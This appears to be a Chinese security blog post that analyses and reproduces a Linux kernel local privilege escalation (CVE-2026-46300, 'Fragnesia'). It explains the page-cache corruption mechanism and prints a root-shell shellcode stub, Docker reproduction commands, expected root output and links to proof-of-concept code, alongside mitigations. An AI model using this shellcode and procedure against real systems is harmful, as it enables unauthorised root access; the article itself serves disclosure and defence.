当前位置:首页>Linux>[已复现] 三周内Linux 又又又爆出重量级内核本地提权漏洞 Fragnesia (CVE-2026-46300)

[已复现] 三周内Linux 又又又爆出重量级内核本地提权漏洞 Fragnesia (CVE-2026-46300)

  • 2026-10-11 07:50:09
[已复现] 三周内Linux 又又又爆出重量级内核本地提权漏洞 Fragnesia (CVE-2026-46300)

 免责声明本

文所涉及的网络安全技术、漏洞原理、工具使用等内容,仅用于网络安全学习、研究与合法的攻防测试,严禁用于任何非法入侵、数据窃取、恶意攻击、网络破坏等违法违规行为。任何单位或个人若将本文内容用于非法用途,所产生的一切法律责任、经济损失及后果均由使用者自行承担,本公众号及作者不承担任何相关责任。请严格遵守《中华人民共和国网络安全法》《网络安全等级保护条例》等相关法律法规,恪守网络安全道德准则,共同维护安全、健康、有序的网络环境。

概述

2026 年 5 月 13 日,安全研究员 William Bowling(V12 团队)披露了一个 Linux 内核 XFRM ESP-in-TCP 子系统中的严重漏洞,编号 CVE-2026-46300,代号 Fragnesia。这是一个 Linux 内核本地提权漏洞,属于 Dirty Frag 漏洞家族。攻击者仅需一个普通用户账号,即可通过篡改内核页缓存获得 root 权限,且整个过程不修改磁盘上的任何文件。一句话概括: Fragnesia 利用 Linux 内核网络子系统的逻辑缺陷,将只读文件的数据当作 ESP 密文解密,keystream 直接 XOR 到页缓存,实现对只读文件的任意字节写入。


一、 漏洞信息

属性
详情
CVE 编号
CVE-2026-46300
漏洞类型
本地提权(LPE)
影响组件
Linux Kernel XFRM ESP-in-TCP 子系统
影响版本
2026-05-13 补丁之前的所有 Linux 内核
已验证环境
Ubuntu 6.8.0-111-generic(Linode VPS)
补丁链接

https://lists.openwall.net/netdev/2026/05/13/79

发现者
William Bowling(V12 团队)
PoC 地址
https://github.com/V4bel/dirtyfrag

二、 背景知识:页缓存与 Dirty Pipe

在理解 Fragnesia 之前,需要了解两个前置概念:

页缓存(Page Cache)

Linux 内核会将磁盘文件的内容缓存在内存中,称为页缓存。当进程读取文件时,内核优先从页缓存返回数据,避免磁盘 I/O。页缓存是内核中所有进程共享的——这意味着如果能篡改页缓存中某个文件的内容,所有后续读取该文件的进程都会看到被篡改后的数据。

Dirty Pipe 回顾

2022 年披露的 Dirty Pipe(CVE-2022-0847)展示了通过 pipe 的 page cache 污染实现任意文件写入的思路。Fragnesia 沿用了这一思路,但攻击路径完全不同——它利用的是 TCP socket 的 ESP-in-TCP 模式。


三、 漏洞原理

核心缺陷

当 TCP socket 从普通模式切换到 espintcp ULP(Upper Layer Protocol)模式时,内核会对已存在于接收队列中的数据执行 ESP 解密操作。问题在于:

如果这些数据是通过 splice() 从文件映射过来的页面,内核会将这些 文件页缓存页面当作 ESP 密文进行 AES-GCM 解密,keystream 直接 XOR 到文件的页缓存上。

这意味着我们可以控制 AES-GCM 的 IV nonce,使得产生的 keystream 字节正好是我们需要的值,从而将目标文件中的任意字节修改为任意值。

利用流程

第一步:环境准备

exploit 调用 unshare(CLONE_NEWUSER | CLONE_NEWNET)` 创建用户命名空间和网络命名空间。在新的命名空间中,进程拥有 `CAP_NET_ADMIN 权限,可以配置 XFRM 安全关联。

第二步:安装 XFRM SA

通过 NETLINK_XFRM 安装一个 transport 模式的 ESP-in-TCP 安全关联,使用 AES-128-GCM 算法,密钥已知(exploit 自己生成的)。

第三步:构建 Keystream 查找表

AES-GCM 在序列号位置 2 的计数器块格式为 [salt || IV || 00000002]。使用已知密钥加密该计数器块,得到 16 字节的 keystream。通过遍历 IV nonce 的低 32 位(共 65536 个),可以得到所有 256 种可能的 keystream 字节值,构建查找表。

 keystream_byte = AES-GCM-Encrypt(key, salt || nonce || 00000002)[0]   nonce → keystream_byte 的映射表(256 条)

第四步:Splice-then-ULP 触发

这是漏洞利用的关键步骤:

 sender 进程                          receiver 进程   

     |                                     |       |  splice(file_fd → tcp_socket)        |       |  数据进入 TCP 接收队列(文件页)     |       |                                     |       |                         setsockopt(TCP_ULP, "espintcp")       |                         内核尝试解密队列中的"ESP密文"       |                         keystream XOR → 文件页缓存 ✖️

1. Sender 通过 splice() 将目标文件的 4096 字节送入 TCP 流,前面加上 ESP-in-TCP 长度字段和 ESP 头(包含 chosen IV)2. Receiver 延迟安装 TCP_ULP espintcp,直到数据已经在 socket buffer 中3. 当 ULP 启用时,内核尝试原地解密队列中的 ESP 记录4. AES-GCM keystream 的第 2 个计数器块、字节 0 被 XOR 到文件页缓存上5. 由于这是 splice() 映射的页面,它与 VFS 页缓存是一个物理页面

第五步:逐字节写入 Payload

对 payload 中每一个需要修改的字节:

1. 计算需要的 keystream 字节2. 查找表找到对应的 IV nonce3. 递增 ESP 序列号4. 触发一次 splice-then-ULP

第六步:执行提权

Payload 是一个 192 字节的位置无关 ELF stub:

 ; setresuid(0, 0, 0)   

 xor edi, edi   xor esi, esi   xor eax, eax   mov al, 112      ; __NR_setresuid   syscall   ; setresgid(0, 0, 0)   mov al, 105      ; __NR_setresgid   syscall   ; setregid(0, 0)   mov al, 116      ; __NR_setregid   syscall   ; execve("/bin/sh", ["/bin/sh", NULL], NULL)   push 0   lea rax, [rip + offset]   push rax   mov rdx, rsp   lea rdi, [rip + "/bin/sh"]   xor esi, esi   push 59   pop rax   syscall   ; 字符串   db "TERM=xterm", 0   db "/bin/sh", 0

将这段 shellcode 写入 /usr/bin/su` 的页缓存前 192 字节后,执行 `execve("/usr/bin/su"),内核加载的是页缓存中被篡改的版本,直接获得 root shell。


四、 漏洞复现

环境要求

  • 宿主机内核版本 < 2026-05-13 补丁版本
  • Docker(用于隔离环境)
  • 编译工具链(gcc)

复现步骤

1. 构建 Docker 镜像

 # Dockerfile   FROM ubuntu:22.04   RUN apt-get update && apt-get install -y gcc libc6-dev make iproute2 procps   WORKDIR /exploit   COPY fragnesia.c .   RUN gcc -O2 -Wall -Wextra -static fragnesia.c -o fragnesia   # 构建   docker build -t cve-2026-46300 .2. 清除宿主机页缓存

 echo 1 > /proc/sys/vm/drop_caches

3. 启动特权容器

 docker run --rm -it --privileged cve-2026-46300 bash

4. 准备目标文件

 useradd -m testuser   cp /usr/bin/su /tmp/su_copy   chmod 755 /tmp/su_copy

5. 以普通用户运行 exploit

 su testuser -c "/exploit/fragnesia /tmp/su_copy" 提权成功

6. 预期输出

[*] uid=1000 euid=1000 gid=1000 egid=1000 

[*] target=/usr/bin/su size=55680outer_write_open_denied=1 errno=13 (Permission denied)xfrm_espintcp_state_add=1namespace_setup_complete=1[+] BUG: changed requested copied byte range to desired values

# whoami 

root

关键观察

  • 磁盘文件未被修改:/usr/bin/su 的磁盘内容保持不变
  • <strong>修改仅在页缓存</strong>:<code>echo 1 &gt; /proc/sys/vm/drop_caches</code> 可清除篡改
  • 传统检测手段失效</strong>:文件完整性监控工具(AIDE、Tripwire)无法检测

五、 危害评估

攻击门槛低

条件
要求
前提权限
普通用户(无需 root)
网络访问
不需要(本地操作)
特殊配置
不需要(默认内核即可)
利用稳定性
确定性利用,无竞态条件

防御绕过能力强

防御手段
是否有效
文件权限(chmod/chown)
❌ 绕过
只读文件系统挂载
❌ 绕过
SELinux / AppArmor
⚠️ 部分场景可绕过
dm-verity / IMA 完整性
❌ 绕过(磁盘未改动)
文件完整性监控
❌ 绕过(不修改磁盘)
容器隔离(共享内核)
❌ 受影响

影响场景

  • 多用户 Linux 服务器:任意普通用户可提权
  • 云 VPS / 共享主机:租户可突破隔离
  • Docker 容器(共享宿主机内核):容器内提权影响宿主机
  • CI/CD 环境:构建节点上的低权限进程可获取 root
  • 开发机:被钓鱼或供应链投毒后的提权路径

六、 缓解与修复

根本修复

更新内核到 2026-05-13 之后的版本,补丁链接: https://lists.openwall.net/netdev/2026/05/13/79

临时缓解

如果暂时无法更新内核,可以禁用相关内核模块:

# 卸载当前已加载的漏洞相关模块 

rmmod esp4 esp6 rxrpc# 写入modprobe黑名单规则,彻底阻断模块的后续加载printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/fragnesia_mitigation.conf

七、技术细节补充

为什么叫 Fragnesia?

名字来源于漏洞的核心机制:skb(socket buffer)在 coalescing(合并)过程中"忘记"了一个 frag(分片)是共享的。Fragnesia = Fragment + Amnesia(遗忘)。

命名空间的角色

exploit 使用 user namespace + network namespace 的组合:

  • User namespace:让普通用户获得 namespace 内的 root 权限
  • Network namespace:获得 CAP_NET_ADMIN,可以配置 XFRM SA
  • 这种组合使得 无需真正的 root 权限 即可触发内核网络子系统的漏洞

页缓存 vs 磁盘

┌─────────────────────────────────────────┐ 

│              进程读取文件                ││                    │                     ││                    ▼                     ││            ┌─────────────┐              ││            │   页缓存    │ ← exploit 篡改这里 ││            │  (内存)     │              ││            └──────┬──────┘              ││                   │                     ││                   ▼                     ││            ┌─────────────┐              ││            │   磁盘文件  │ ← 未被修改    ││            │  (持久化)   │              ││            └─────────────┘              │└─────────────────────────────────────────┘

八、时间线

日期
事件
2026-05-13
内核补丁提交到 netdev 邮件列表
2026-05-14
PoC 公开发布(GitHub)
2026-05-15
CVE 编号分配

九、总结

CVE-2026-46300(Fragnesia)是继 Dirty Pipe 之后又一个具有里程碑意义的 Linux 内核本地提权漏洞。它的核心价值在于:

1. 确定性利用:不同于 Dirty COW 等竞态条件漏洞,exploit 成功率接近 100%2. 低权限前提:普通用户即可触发,无需任何特殊能力3. 难以检测:仅修改页缓存,不触及磁盘,传统安全工具无法发现4. 广泛影响:所有未打补丁的 Linux 内核均受影响

> 参考链接

  • PoC:https://github.com/v12-security/pocs
  • Dirty Frag:https://github.com/V4bel/dirtyfrag
  • 内核补丁:https://lists.openwall.net/netdev/2026/05/13/79
  • V12 团队:https://v12.sh

如果喜欢今天的内容,记得关注公众号,后续我会持续分享更多实用干货、技巧和新鲜内容,不迷路!

最新文章

随机文章